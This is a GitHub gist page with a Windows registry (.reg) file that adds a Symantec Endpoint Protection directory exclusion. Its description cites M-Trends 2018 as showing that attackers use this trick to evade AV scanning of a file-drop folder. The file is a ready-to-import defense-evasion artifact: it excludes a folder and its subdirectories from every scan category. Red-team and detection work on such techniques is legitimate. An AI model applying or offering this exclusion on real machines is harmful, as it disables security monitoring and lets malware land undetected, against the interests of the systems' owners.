Skip to content

Instantly share code, notes, and snippets.

@mgeeky

mgeeky/sep-directory-exclusion.reg

Last active February 21, 2023 18:42
Show Gist options
  • Star 9 You must be signed in to star a gist
  • Fork 7 You must be signed in to fork a gist
  • Save mgeeky/acc779ce8ffcd5ddd6fa85702bba70db to your computer and use it in GitHub Desktop.
Save mgeeky/acc779ce8ffcd5ddd6fa85702bba70db to your computer and use it in GitHub Desktop.
Download ZIP
Symantec Endpoint Protection directory exclusion registry key. According to M-Trends 2018, one of techniques used to overcome active AV scanning is to create a directory for files drop and to add it into AV's exclusion via registry.
Raw
sep-directory-exclusion.reg
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Symantec\Symantec Endpoint Protection\AV\Exclusions\ScanningEngines\Directory\Client\1733004144]
"Owner"=dword:00000004
"ProtectionTechnology"=dword:00000001
"FirstAction"=dword:00000011
"SecondAction"=dword:00000011
"DirectoryName"="C:\\to\\be\\excluded\\"
"ThreatName"="C:\\to\\be\\excluded\\"
"ExcludeSubDirs"=dword:00000001
"ExtensionList"=""
"ScanCategories"=dword:ffffffff
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment